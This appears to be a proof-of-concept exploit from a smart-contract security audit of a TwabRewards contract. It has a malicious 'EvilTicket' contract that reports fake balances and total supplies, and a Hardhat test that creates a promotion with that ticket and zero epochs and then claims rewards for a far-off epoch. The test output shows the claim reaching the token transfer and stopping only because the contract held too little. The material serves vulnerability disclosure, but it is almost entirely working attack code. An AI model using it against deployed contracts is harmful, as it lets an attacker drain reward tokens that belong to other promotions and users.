/// @inheritdoc ITicket
function getAverageTotalSuppliesBetween(
    uint64[] calldata _startTimes,
    uint64[] calldata _endTimes
) external view override returns (uint256[] memory) {
    uint256[] memory _balances = new uint256[](1);
    _balances[0] = uint256(1);
    return _balances;
}

/// @inheritdoc ITicket
function getAverageBalanceBetween(
    address _user,
    uint64 _startTime,
    uint64 _endTime
) external view override returns (uint256) {
    return 1337;
}
describe('exploit()', async () => {
    it('this shouldnt happen', async () => {
        const promotionIdOne = 1;
        const promotionIdTwo = 2;

        await expect(createPromotion(ticket.address))
            .to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionIdOne);
        
        let evilTicketFactory = await getContractFactory('EvilTicket');
        let evilTicket = await evilTicketFactory.deploy('EvilTicket', 'TICK', 18, wallet1.address);
        let createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;
        await expect(twabRewards.connect(wallet2).createPromotion(
            evilTicket.address,
            rewardToken.address,
            tokensPerEpoch,
            createPromotionTimestamp,
            1,//epochDuration,
            0,//epochsNumber,
        )).to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionIdTwo);

        await increaseTime(100);
        const epochIds = ['100'];
        await twabRewards.connect(wallet2).claimRewards(wallet2.address, promotionIdTwo, epochIds);
    });
});
1) TwabRewards
    exploit()
        this shouldnt happen:
    Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance'
    at TwabRewardsHarness.verifyCallResult (@openzeppelin/contracts/utils/Address.sol:209)
    at TwabRewardsHarness.functionCallWithValue (@openzeppelin/contracts/utils/Address.sol:132)
    at TwabRewardsHarness.functionCall (@openzeppelin/contracts/utils/Address.sol:94)
    at TwabRewardsHarness._callOptionalReturn (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:92)
    at TwabRewardsHarness.safeTransfer (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:25)
    at TwabRewardsHarness.claimRewards (contracts/TwabRewards.sol:186)
